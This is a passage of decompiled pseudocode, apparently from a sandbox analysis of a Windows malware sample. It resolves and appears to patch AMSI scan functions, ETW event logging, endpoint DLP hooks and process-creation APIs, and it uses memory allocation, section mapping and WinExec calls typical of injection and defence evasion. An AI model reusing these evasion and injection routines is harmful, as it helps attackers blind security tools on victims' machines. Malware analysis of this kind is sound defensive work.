									E02CB47B0( &_v4192, _t5755, 0x2cd6c14);
									E02CB4698( &_v4188, E02CB4964(_v4192));
									_pop(_t6692);
									E02CC7B74(_v4188, _t6692);
									_push(0x2cd6c14);
									_push( *0x2de28a0);
									_push("ScanBuffer");
									E02CB4824();
									E02CB4698( &_v4196, E02CB4964(_v4200));
									_push(_v4196);
									_t5756 =  *0x2de28a0; // 0xeca1b38
									E02CB47B0( &_v4208, _t5756, 0x2cd6c14);
									E02CB4698( &_v4204, E02CB4964(_v4208));
									_pop(_t6697);
									E02CC7B74(_v4204, _t6697);
									_t4178 = 0x2de27d4->hProcess; // 0x0
									E02CC7B14(_t4178, "BCryptVerifySignature");
									_t4180 = 0x2de27d4->hProcess; // 0x0
									E02CC7B14(_t4180, "BCryptQueryProviderRegistration");
									_t4182 = 0x2de27d4->hProcess; // 0x0
									E02CC7B14(_t4182, "BCryptRegisterProvider");
									_t4184 = 0x2de27d4->hProcess; // 0x0
									E02CC7B14(_t4184, "NtReadVirtualMemory");
									_t4186 = 0x2de27d4->hProcess; // 0x0
									E02CC7B14(_t4186, "NtOpenObjectAuditAlarm");
									_t4188 = 0x2de27d4->hProcess; // 0x0
									E02CC7B14(_t4188, "I_QueryTagInformation");
									_t4190 = 0x2de27d4->hProcess; // 0x0
									E02CC7B14(_t4190, "NtSetSecurityObject");
									_t4192 = 0x2de27d4->hProcess; // 0x0
									E02CC7B14(_t4192, "NtOpenProcess");
									_t4194 = 0x2de27d4->hProcess; // 0x0
									CloseHandle(_t4194);
								}
								_t3336 =  *0x2de2824; // 0xeca1c18
								E02CB48B0(_t3336, 0x2cd6eb4);
								if(__eflags == 0) {
									_push(0x2cd6c14);
									_push( *0x2de28a0);
									_push("OpenSession");
									E02CB4824();
									E02CB4698( &_v4212, E02CB4964(_v4216));
									_push(_v4212);
									_t5728 =  *0x2de28a0; // 0xeca1b38
									E02CB47B0( &_v4224, _t5728, 0x2cd6c14);
									E02CB4698( &_v4220, E02CB4964(_v4224));
									_pop(_t6563);
									E02CC7B74(_v4220, _t6563);
									_push(0x2cd6c14);
									_push( *0x2de28a0);
									_push("ScanString");
									E02CB4824();
									E02CB4698( &_v4228, E02CB4964(_v4232));
									_push(_v4228);
									_t5729 =  *0x2de28a0; // 0xeca1b38
									E02CB47B0( &_v4240, _t5729, 0x2cd6c14);
									E02CB4698( &_v4236, E02CB4964(_v4240));
									_pop(_t6568);
									E02CC7B74(_v4236, _t6568);
									_push( *0x2de2874);
									_push(0x2cd6eec);
									_t3808 =  *0x2de28c4; // 0xeca9898
									E02CC7C58(_t3808, _t5729,  &_v4248);
									_push(_v4248);
									_push(0x2cd71c8);
									_push(0);
									_push(0x2cd71d4);
									_push(0);
									_push(0x2cd71e0);
									E02CB4824();
									E02CB4698(0x2de28ac, E02CB4964(_v4244));
									_push(0x2cd6c14);
									_push( *0x2de28a0);
									_push("ScanString");
									E02CB4824();
									E02CB4698( &_v4252, E02CB4964(_v4256));
									_push(_v4252);
									_t5730 =  *0x2de28a0; // 0xeca1b38
									E02CB47B0( &_v4264, _t5730, 0x2cd6c14);
									E02CB4698( &_v4260, E02CB4964(_v4264));
									_pop(_t6576);
									E02CC7B74(_v4260, _t6576);
									_push(0x2cd6c14);
									_push( *0x2de28a0);
									_push("OpenSession");
									E02CB4824();
									E02CB4698( &_v4268, E02CB4964(_v4272));
									_push(_v4268);
									_t5731 =  *0x2de28a0; // 0xeca1b38
									E02CB47B0( &_v4280, _t5731, 0x2cd6c14);
									E02CB4698( &_v4276, E02CB4964(_v4280));
									_pop(_t6581);
									E02CC7B74(_v4276, _t6581);
									_push(0x2cd6c14);
									_push( *0x2de28a0);
									_push("ScanBuffer");
									E02CB4824();
									E02CB4698( &_v4284, E02CB4964(_v4288));
									_push(_v4284);
									_t5732 =  *0x2de28a0; // 0xeca1b38
									E02CB47B0( &_v4296, _t5732, 0x2cd6c14);
									E02CB4698( &_v4292, E02CB4964(_v4296));
									_pop(_t6586);
									E02CC7B74(_v4292, _t6586);
									_t3857 =  *0x2de28ac; // 0x0
									_t3858 = E02CB7E40(_t3857);
									__eflags = _t3858;
									if(_t3858 == 0) {
										_push(0x2cd6c14);
										_push( *0x2de28a0);
										_push("UacScan");
										E02CB4824();
										E02CB4698( &_v4300, E02CB4964(_v4304));
										_push(_v4300);
										_t5736 =  *0x2de28a0; // 0xeca1b38
										E02CB47B0( &_v4312, _t5736, 0x2cd6c14);
										E02CB4698( &_v4308, E02CB4964(_v4312));
										_pop(_t6607);
										E02CC7B74(_v4308, _t6607);
										_push(0x2cd6c14);
										_push( *0x2de28a0);
										_push("ScanBuffer");
										E02CB4824();
										E02CB4698( &_v4316, E02CB4964(_v4320));
										_push(_v4316);
										_t5737 =  *0x2de28a0; // 0xeca1b38
										E02CB47B0( &_v4328, _t5737, 0x2cd6c14);
										E02CB4698( &_v4324, E02CB4964(_v4328));
										_pop(_t6612);
										E02CC7B74(_v4324, _t6612);
										E02CCCE04(0x2cd9d58,  &_v4332, 0x109ff);
										E02CB44F4(0x2de283c, _v4332);
										_push(0x2cd6c14);
										_push( *0x2de28a0);
										_push("UacScan");
										E02CB4824();
										E02CB4698( &_v4336, E02CB4964(_v4340));
										_push(_v4336);
										_t5739 =  *0x2de28a0; // 0xeca1b38
										E02CB47B0( &_v4348, _t5739, 0x2cd6c14);
										E02CB4698( &_v4344, E02CB4964(_v4348));
										_pop(_t6619);
										E02CC7B74(_v4344, _t6619);
										_push(0x2cd6c14);
										_push( *0x2de28a0);
										_push("ScanString");
										E02CB4824();
										E02CB4698( &_v4352, E02CB4964(_v4356));
										_push(_v4352);
										_t5740 =  *0x2de28a0; // 0xeca1b38
										E02CB47B0( &_v4364, _t5740, 0x2cd6c14);
										E02CB4698( &_v4360, E02CB4964(_v4364));
										_pop(_t6624);
										E02CC7B74(_v4360, _t6624);
										_t6625 =  *0x2de28ac; // 0x0
										E02CB4DA4( &_v4368, _t6625);
										_push(_v4368);
										_t6626 =  *0x2de283c; // 0xeca9160
										E02CB4DA4( &_v4376, _t6626);
										E02CB4728( &_v4372, _v4376);
										_pop(_t6628);
										E02CCCAB0(_v4372, _t5627, _t6628, _t7215);
									}
									_push(0x2cd6c14);
									_push( *0x2de28a0);
									_push("Initialize");
									E02CB4824();
									E02CB4698( &_v4380, E02CB4964(_v4384));
									_push(_v4380);
									_t5733 =  *0x2de28a0; // 0xeca1b38
									E02CB47B0( &_v4392, _t5733, 0x2cd6c14);
									E02CB4698( &_v4388, E02CB4964(_v4392));
									_pop(_t6591);
									E02CC7B74(_v4388, _t6591);
									_push(0x2cd6c14);
									_push( *0x2de28a0);
									_push("OpenSession");
									E02CB4824();
									E02CB4698( &_v4396, E02CB4964(_v4400));
									_push(_v4396);
									_t5734 =  *0x2de28a0; // 0xeca1b38
									E02CB47B0( &_v4408, _t5734, 0x2cd6c14);
									E02CB4698( &_v4404, E02CB4964(_v4408));
									_pop(_t6596);
									E02CC7B74(_v4404, _t6596);
									_push(0x2cd6c14);
									_push( *0x2de28a0);
									_push("ScanBuffer");
									E02CB4824();
									E02CB4698( &_v4412, E02CB4964(_v4416));
									_push(_v4412);
									_t5735 =  *0x2de28a0; // 0xeca1b38
									E02CB47B0( &_v4424, _t5735, 0x2cd6c14);
									E02CB4698( &_v4420, E02CB4964(_v4424));
									_pop(_t6601);
									E02CC7B74(_v4420, _t6601);
									_t3902 = E02CB49BC(0x2de2868);
									_t3903 =  *0x2de28ac; // 0x0
									E02CC7F00(_t3903, _t5627, _t3902, _t7214, _t7215, _t7235);
								}
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("Initialize");
								E02CB4824();
								E02CB4698( &_v4428, E02CB4964(_v4432));
								_push(_v4428);
								_t5715 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v4440, _t5715, 0x2cd6c14);
								E02CB4698( &_v4436, E02CB4964(_v4440));
								_pop(_t6384); // executed
								E02CC7B74(_v4436, _t6384); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("OpenSession");
								E02CB4824();
								E02CB4698( &_v4444, E02CB4964(_v4448));
								_push(_v4444);
								_t5716 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v4456, _t5716, 0x2cd6c14);
								E02CB4698( &_v4452, E02CB4964(_v4456));
								_pop(_t6389); // executed
								E02CC7B74(_v4452, _t6389); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("ScanString");
								E02CB4824();
								E02CB4698( &_v4460, E02CB4964(_v4464));
								_push(_v4460);
								_t5717 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v4472, _t5717, 0x2cd6c14);
								E02CB4698( &_v4468, E02CB4964(_v4472));
								_pop(_t6394); // executed
								E02CC7B74(_v4468, _t6394); // executed
								E02CB4698( &_v4476, "BCryptVerifySignature");
								_push(_v4476);
								E02CB4698( &_v4480, "bcrypt");
								_pop(_t6397);
								E02CC7B74(_v4480, _t6397);
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("OpenSession");
								E02CB4824();
								E02CB4698( &_v4484, E02CB4964(_v4488));
								_push(_v4484);
								_t5718 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v4496, _t5718, 0x2cd6c14);
								E02CB4698( &_v4492, E02CB4964(_v4496));
								_pop(_t6402); // executed
								E02CC7B74(_v4492, _t6402); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("Initialize");
								E02CB4824();
								E02CB4698( &_v4500, E02CB4964(_v4504));
								_push(_v4500);
								_t5719 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v4512, _t5719, 0x2cd6c14);
								E02CB4698( &_v4508, E02CB4964(_v4512));
								_pop(_t6407); // executed
								E02CC7B74(_v4508, _t6407); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("ScanBuffer");
								E02CB4824();
								E02CB4698( &_v4516, E02CB4964(_v4520));
								_push(_v4516);
								_t5720 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v4528, _t5720, 0x2cd6c14);
								E02CB4698( &_v4524, E02CB4964(_v4528));
								_pop(_t6412); // executed
								E02CC7B74(_v4524, _t6412); // executed
								E02CB4698( &_v4532, "DlpNotifyPreDragDrop");
								_push(_v4532);
								E02CB4698( &_v4536, "endpointdlp");
								_pop(_t6415); // executed
								E02CC7B74(_v4536, _t6415); // executed
								E02CB4698( &_v4540, "DlpCheckIsCloudSyncApp");
								_push(_v4540);
								E02CB4698( &_v4544, "endpointdlp");
								_pop(_t6418); // executed
								E02CC7B74(_v4544, _t6418); // executed
								E02CB4698( &_v4548, "DlpGetArchiveFileTraceInfo");
								_push(_v4548);
								E02CB4698( &_v4552, "endpointdlp");
								_pop(_t6421); // executed
								E02CC7B74(_v4552, _t6421); // executed
								E02CB4698( &_v4556, "DlpGetWebSiteAccess");
								_push(_v4556);
								E02CB4698( &_v4560, "endpointdlp");
								_pop(_t6424); // executed
								E02CC7B74(_v4560, _t6424); // executed
								E02CB4698( &_v4564, "NtAlertResumeThread");
								_push(_v4564);
								E02CB4698( &_v4568, "ntdll");
								_pop(_t6427);
								E02CC7B74(_v4568, _t6427);
								E02CB4698( &_v4572, "RtlAllocateHeap");
								_push(_v4572);
								E02CB4698( &_v4576, "ntdll");
								_pop(_t6430);
								E02CC7B74(_v4576, _t6430);
								E02CB4698( &_v4580, "NtWaitForSingleObject");
								_push(_v4580);
								E02CB4698( &_v4584, "ntdll");
								_pop(_t6433);
								E02CC7B74(_v4584, _t6433);
								E02CB4698( &_v4588, "RtlAllocateHeap");
								_push(_v4588);
								E02CB4698( &_v4592, "ntdll");
								_pop(_t6436);
								E02CC7B74(_v4592, _t6436);
								E02CB4698( &_v4596, "RtlCreateQueryDebugBuffer");
								_push(_v4596);
								E02CB4698( &_v4600, "ntdll");
								_pop(_t6439);
								E02CC7B74(_v4600, _t6439);
								E02CC7B74(0x2cd72d4, "NtQuerySystemInformation");
								E02CC7B74(0x2cd72d4, "NtDeviceIoControlFile");
								E02CC7B74(0x2cd72d4, "NtQueryDirectoryFile");
								E02CC7B74(0x2cd72d4, "RtlQueryProcessDebugInformation");
								E02CC7B74("Advapi", "EnumServicesStatusA"); // executed
								E02CC7B74("Advapi", "EnumServicesStatusW"); // executed
								E02CC7B74("Advapi", "EnumServicesStatusExA"); // executed
								E02CC7B74("Advapi", "EnumServicesStatusExW"); // executed
								E02CC7B74(0x2cd73f0, "EnumProcessModules"); // executed
								E02CC7B74("Kernel32", "CreateProcessA");
								E02CC7B74("Kernel32", "CreateProcessW");
								E02CC7B74("Advapi", "CreateProcessAsUserA"); // executed
								E02CC7B74("Advapi", "CreateProcessAsUserW"); // executed
								E02CC7B74("Advapi", "CreateProcessWithLogonW"); // executed
								E02CC7B74("ws2_32", "connect");
								E02CC7B74("Kernel32", "CreateProcessAsUserW");
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("UacInitialize");
								E02CB4824();
								E02CB4698( &_v4604, E02CB4964(_v4608));
								_push(_v4604);
								_t5721 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v4616, _t5721, 0x2cd6c14);
								E02CB4698( &_v4612, E02CB4964(_v4616));
								_pop(_t6460); // executed
								E02CC7B74(_v4612, _t6460); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("OpenSession");
								E02CB4824();
								E02CB4698( &_v4620, E02CB4964(_v4624));
								_push(_v4620);
								_t5722 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v4632, _t5722, 0x2cd6c14);
								E02CB4698( &_v4628, E02CB4964(_v4632));
								_pop(_t6465); // executed
								E02CC7B74(_v4628, _t6465); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("ScanString");
								E02CB4824();
								E02CB4698( &_v4636, E02CB4964(_v4640));
								_push(_v4636);
								_t5723 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v4648, _t5723, 0x2cd6c14);
								E02CB4698( &_v4644, E02CB4964(_v4648));
								_pop(_t6470); // executed
								E02CC7B74(_v4644, _t6470); // executed
								E02CB4698( &_v4652, "VirtualAlloc");
								_push(_v4652);
								E02CB4698( &_v4656, "kernel32");
								_pop(_t6473);
								E02CC7B74(_v4656, _t6473);
								E02CB4698( &_v4660, "VirtualAllocEx");
								_push(_v4660);
								E02CB4698( &_v4664, "kernel32");
								_pop(_t6476);
								E02CC7B74(_v4664, _t6476);
								E02CB4698( &_v4668, "VirtualProtect");
								_push(_v4668);
								E02CB4698( &_v4672, "kernel32");
								_pop(_t6479);
								E02CC7B74(_v4672, _t6479);
								E02CB4698( &_v4676, "OpenProcess");
								_push(_v4676);
								E02CB4698( &_v4680, "kernel32");
								_pop(_t6482);
								E02CC7B74(_v4680, _t6482);
								E02CB4698( &_v4684, "WriteVirtualMemory");
								_push(_v4684);
								E02CB4698( &_v4688, "kernel32");
								_pop(_t6485);
								E02CC7B74(_v4688, _t6485);
								E02CB4698( &_v4692, "FlushInstructionCache");
								_push(_v4692);
								E02CB4698( &_v4696, "kernel32");
								_pop(_t6488);
								E02CC7B74(_v4696, _t6488);
								E02CB4698( &_v4700, "SetUnhandledExceptionFilter");
								_push(_v4700);
								E02CB4698( &_v4704, "kernel32");
								_pop(_t6491);
								E02CC7B74(_v4704, _t6491);
								E02CB4698( &_v4708, "SLGatherMigrationBlob");
								_push(_v4708);
								E02CB4698( &_v4712, "sppc");
								_pop(_t6494); // executed
								E02CC7B74(_v4712, _t6494); // executed
								E02CB4698( &_v4716, "SLGetEncryptedPIDEx");
								_push(_v4716);
								E02CB4698( &_v4720, "sppc");
								_pop(_t6497); // executed
								E02CC7B74(_v4720, _t6497); // executed
								E02CB4698( &_v4724, "NtGetWriteWatch");
								_push(_v4724);
								E02CB4698( &_v4728, "ntdll");
								_pop(_t6500); // executed
								E02CC7B74(_v4728, _t6500); // executed
								E02CB4698( &_v4732, "NtQueryVirtualMemory");
								_push(_v4732);
								E02CB4698( &_v4736, "ntdll");
								_pop(_t6503);
								E02CC7B74(_v4736, _t6503);
								E02CB4698( &_v4740, "NtQueryInformationThread");
								_push(_v4740);
								E02CB4698( &_v4744, "ntdll");
								_pop(_t6506);
								E02CC7B74(_v4744, _t6506);
								E02CB4698( &_v4748, "NtOpenSection");
								_push(_v4748);
								E02CB4698( &_v4752, "ntdll");
								_pop(_t6509);
								E02CC7B74(_v4752, _t6509);
								E02CB4698( &_v4756, "NtCreateSection");
								_push(_v4756);
								E02CB4698( &_v4760, "ntdll");
								_pop(_t6512);
								E02CC7B74(_v4760, _t6512);
								E02CB4698( &_v4764, "NtMapViewOfSection");
								_push(_v4764);
								E02CB4698( &_v4768, "ntdll");
								_pop(_t6515);
								E02CC7B74(_v4768, _t6515);
								E02CB4698( &_v4772, "NtReadVirtualMemory");
								_push(_v4772);
								E02CB4698( &_v4776, "ntdll");
								_pop(_t6518);
								E02CC7B74(_v4776, _t6518);
								E02CB4698( &_v4780, "NtQuerySecurityObject");
								_push(_v4780);
								E02CB4698( &_v4784, "ntdll");
								_pop(_t6521);
								E02CC7B74(_v4784, _t6521);
								E02CB4698( &_v4788, "NtAccessCheck");
								_push(_v4788);
								E02CB4698( &_v4792, "ntdll");
								_pop(_t6524);
								E02CC7B74(_v4792, _t6524);
								E02CB4698( &_v4796, "LdrLoadDll");
								_push(_v4796);
								E02CB4698( &_v4800, "ntdll");
								_pop(_t6527);
								E02CC7B74(_v4800, _t6527);
								E02CB4698( &_v4804, "LdrGetProcedureAddress");
								_push(_v4804);
								E02CB4698( &_v4808, "ntdll");
								_pop(_t6530);
								E02CC7B74(_v4808, _t6530);
								E02CB4698( &_v4812, "NtWriteVirtualMemory");
								_push(_v4812);
								E02CB4698( &_v4816, "ntdll");
								_pop(_t6533);
								E02CC7B74(_v4816, _t6533);
								E02CB4698( &_v4820, "NtOpenFile");
								_push(_v4820);
								E02CB4698( &_v4824, "ntdll");
								_pop(_t6536);
								E02CC7B74(_v4824, _t6536);
								E02CB4698( &_v4828, "EtwEventWriteEx");
								_push(_v4828);
								E02CB4698( &_v4832, "ntdll");
								_pop(_t6539);
								E02CC7B74(_v4832, _t6539);
								E02CB4698( &_v4836, "EtwEventWrite");
								_push(_v4836);
								E02CB4698( &_v4840, "ntdll");
								_pop(_t6542);
								E02CC7B74(_v4840, _t6542);
								FlushInstructionCache(GetCurrentProcess(), 0, 0);
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("Initialize");
								E02CB4824();
								E02CB4698( &_v4844, E02CB4964(_v4848));
								_push(_v4844);
								_t5724 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v4856, _t5724, 0x2cd6c14);
								E02CB4698( &_v4852, E02CB4964(_v4856));
								_pop(_t6547); // executed
								E02CC7B74(_v4852, _t6547); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("ScanBuffer");
								E02CB4824();
								E02CB4698( &_v4860, E02CB4964(_v4864));
								_push(_v4860);
								_t5725 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v4872, _t5725, 0x2cd6c14);
								E02CB4698( &_v4868, E02CB4964(_v4872));
								_pop(_t6552); // executed
								E02CC7B74(_v4868, _t6552); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("OpenSession");
								E02CB4824();
								E02CB4698( &_v4876, E02CB4964(_v4880));
								_push(_v4876);
								_t5726 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v4888, _t5726, 0x2cd6c14);
								E02CB4698( &_v4884, E02CB4964(_v4888));
								_pop(_t6557); // executed
								E02CC7B74(_v4884, _t6557); // executed
								E02CC7B14(GetCurrentProcess(), "NtOpenProcess");
								ExitProcess(0); // executed
								goto L49;
							} else {
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("OpenSession");
								E02CB4824();
								E02CB4698( &_v3524, E02CB4964(_v3528));
								_push(_v3524);
								_t5767 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v3536, _t5767, 0x2cd6c14);
								E02CB4698( &_v3532, E02CB4964(_v3536));
								_pop(_t6720); // executed
								E02CC7B74(_v3532, _t6720); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("ScanString");
								E02CB4824();
								E02CB4698( &_v3540, E02CB4964(_v3544));
								_push(_v3540);
								_t5768 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v3552, _t5768, 0x2cd6c14);
								E02CB4698( &_v3548, E02CB4964(_v3552));
								_pop(_t6725); // executed
								E02CC7B74(_v3548, _t6725); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("OpenSession");
								E02CB4824();
								E02CB4698( &_v3556, E02CB4964(_v3560));
								_push(_v3556);
								_t5769 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v3568, _t5769, 0x2cd6c14);
								E02CB4698( &_v3564, E02CB4964(_v3568));
								_pop(_t6730); // executed
								E02CC7B74(_v3564, _t6730); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("ScanString");
								E02CB4824();
								E02CB4698( &_v3572, E02CB4964(_v3576));
								_push(_v3572);
								_t5770 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v3584, _t5770, 0x2cd6c14);
								E02CB4698( &_v3580, E02CB4964(_v3584));
								_pop(_t6735); // executed
								E02CC7B74(_v3580, _t6735); // executed
								_t5771 =  *0x2de2818; // 0xeca9160
								E02CB47B0( &_v3588, _t5771, "C:\\Windows\\System32\\");
								WinExec(E02CB4964(_v3588), 0); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("ScanBuffer");
								E02CB4824();
								E02CB4698( &_v3592, E02CB4964(_v3596));
								_push(_v3592);
								_t5772 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v3604, _t5772, 0x2cd6c14);
								E02CB4698( &_v3600, E02CB4964(_v3604));
								_pop(_t6741); // executed
								E02CC7B74(_v3600, _t6741);
								_t4299 =  *0x2de2818; // 0xeca9160
								E02CB4698( &_v3608, E02CB4964(_t4299));
								E02CCA350(_v3608, _t5627, 0x2de2880, _t7214, _t7215, __eflags); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("Initialize");
								E02CB4824();
								E02CB4698( &_v3612, E02CB4964(_v3616));
								_push(_v3612);
								_t5773 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v3624, _t5773, 0x2cd6c14);
								E02CB4698( &_v3620, E02CB4964(_v3624));
								_pop(_t6748); // executed
								E02CC7B74(_v3620, _t6748); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("ScanString");
								E02CB4824();
								E02CB4698( &_v3628, E02CB4964(_v3632));
								_push(_v3628);
								_t5774 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v3640, _t5774, 0x2cd6c14);
								E02CB4698( &_v3636, E02CB4964(_v3640));
								_pop(_t6753); // executed
								E02CC7B74(_v3636, _t6753); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("OpenSession");
								E02CB4824();
								E02CB4698( &_v3644, E02CB4964(_v3648));
								_push(_v3644);
								_t5775 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v3656, _t5775, 0x2cd6c14);
								E02CB4698( &_v3652, E02CB4964(_v3656));
								_pop(_t6758); // executed
								E02CC7B74(_v3652, _t6758); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("ScanBuffer");
								E02CB4824();
								E02CB4698( &_v3660, E02CB4964(_v3664));
								_push(_v3660);
								_t5776 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v3672, _t5776, 0x2cd6c14);
								E02CB4698( &_v3668, E02CB4964(_v3672));
								_pop(_t6763); // executed
								E02CC7B74(_v3668, _t6763); // executed
								 *0x2de2784 = E02CB3694(1);
								_push(_t7217);
								_push(0x2cd475d);
								_push( *[fs:edx]);
								 *[fs:edx] = _t7218;
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("OpenSession");
								E02CB4824();
								E02CB4698( &_v3676, E02CB4964(_v3680));
								_push(_v3676);
								_t5777 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v3688, _t5777, 0x2cd6c14);
								E02CB4698( &_v3684, E02CB4964(_v3688));
								_pop(_t6770); // executed
								E02CC7B74(_v3684, _t6770); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("ScanBuffer");
								E02CB4824();
								E02CB4698( &_v3692, E02CB4964(_v3696));
								_push(_v3692);
								_t5778 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v3704, _t5778, 0x2cd6c14);
								E02CB4698( &_v3700, E02CB4964(_v3704));
								_pop(_t6775); // executed
								E02CC7B74(_v3700, _t6775); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("ScanString");
								E02CB4824();
								E02CB4698( &_v3708, E02CB4964(_v3712));
								_push(_v3708);
								_t5779 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v3720, _t5779, 0x2cd6c14);
								E02CB4698( &_v3716, E02CB4964(_v3720));
								_pop(_t6780); // executed
								E02CC7B74(_v3716, _t6780);
								_t4405 =  *0x2de2868; // 0x7ecc0018
								_v1112 = _t4405;
								_t5780 = _v1112;
								__eflags = _t5780;
								if(_t5780 != 0) {
									_t5793 = _t5780 - 4;
									__eflags = _t5793;
									_t5780 =  *_t5793;
								}
								asm("cdq");
								_t4407 =  *0x2de2784; // 0xeca9e90
								E02CC593C(_t4407, _t5780, _t6780);
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("OpenSession");
								E02CB4824();
								E02CB4698( &_v3724, E02CB4964(_v3728));
								_push(_v3724);
								_t5781 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v3736, _t5781, 0x2cd6c14);
								E02CB4698( &_v3732, E02CB4964(_v3736));
								_pop(_t6785); // executed
								E02CC7B74(_v3732, _t6785); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("ScanBuffer");
								E02CB4824();
								E02CB4698( &_v3740, E02CB4964(_v3744));
								_push(_v3740);
								_t5782 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v3752, _t5782, 0x2cd6c14);
								E02CB4698( &_v3748, E02CB4964(_v3752));
								_pop(_t6790); // executed
								E02CC7B74(_v3748, _t6790); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("ScanString");
								E02CB4824();
								E02CB4698( &_v3756, E02CB4964(_v3760));
								_push(_v3756);
								_t5783 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v3768, _t5783, 0x2cd6c14);
								E02CB4698( &_v3764, E02CB4964(_v3768));
								_pop(_t6795); // executed
								E02CC7B74(_v3764, _t6795);
								_t4451 =  *0x2de2784; // 0xeca9e90
								_t4452 =  *((intOrPtr*)( *_t4451))();
								_t6797 =  *0x2de2868; // 0x7ecc0018
								_t4453 =  *0x2de2784; // 0xeca9e90
								E02CC5AE4(_t4453, _t4452 + _t4452 + _t4452 + _t4452, _t6797);
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("ScanBuffer");
								E02CB4824();
								E02CB4698( &_v3772, E02CB4964(_v3776));
								_push(_v3772);
								_t5787 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v3784, _t5787, 0x2cd6c14);
								E02CB4698( &_v3780, E02CB4964(_v3784));
								_pop(_t6802); // executed
								E02CC7B74(_v3780, _t6802); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("ScanBuffer");
								E02CB4824();
								E02CB4698( &_v3788, E02CB4964(_v3792));
								_push(_v3788);
								_t5788 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v3800, _t5788, 0x2cd6c14);
								E02CB4698( &_v3796, E02CB4964(_v3800));
								_pop(_t6807); // executed
								E02CC7B74(_v3796, _t6807); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("OpenSession");
								E02CB4824();
								E02CB4698( &_v3804, E02CB4964(_v3808));
								_push(_v3804);
								_t5789 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v3816, _t5789, 0x2cd6c14);
								E02CB4698( &_v3812, E02CB4964(_v3816));
								_pop(_t6812); // executed
								E02CC7B74(_v3812, _t6812); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("ScanString");
								E02CB4824();
								E02CB4698( &_v3820, E02CB4964(_v3824));
								_push(_v3820);
								_t5790 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v3832, _t5790, 0x2cd6c14);
								E02CB4698( &_v3828, E02CB4964(_v3832));
								_pop(_t6817); // executed
								E02CC7B74(_v3828, _t6817);
								_t4511 =  *0x2de2880; // 0x1bd0
								_t4512 =  *0x2de2784; // 0xeca9e90
								E02CCA6A0(_t5627, _t7214, _t7215, _t4512, _t4511); // executed
								__eflags = 0;
								_pop(_t6818);
								 *[fs:eax] = _t6818;
								_push(0x2cd4764);
								_t4515 =  *0x2de2784; // 0xeca9e90
								return E02CB36C4(_t4515); // executed
							}
						} else {
							_push( *0x2de2874);
							_push(0x2cd6eec);
							_push(0x2cd6fc8);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0x2cd6fd4);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0x2cd6fbc);
							E02CB4824();
							E02CB4698( &_v2396, E02CB4964(_v2400));
							_t4523 = E02CB7E40(_v2396);
							__eflags = _t4523;
							if(_t4523 != 0) {
								goto L32;
							} else {
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("ScanString");
								E02CB4824();
								E02CB4698( &_v2404, E02CB4964(_v2408));
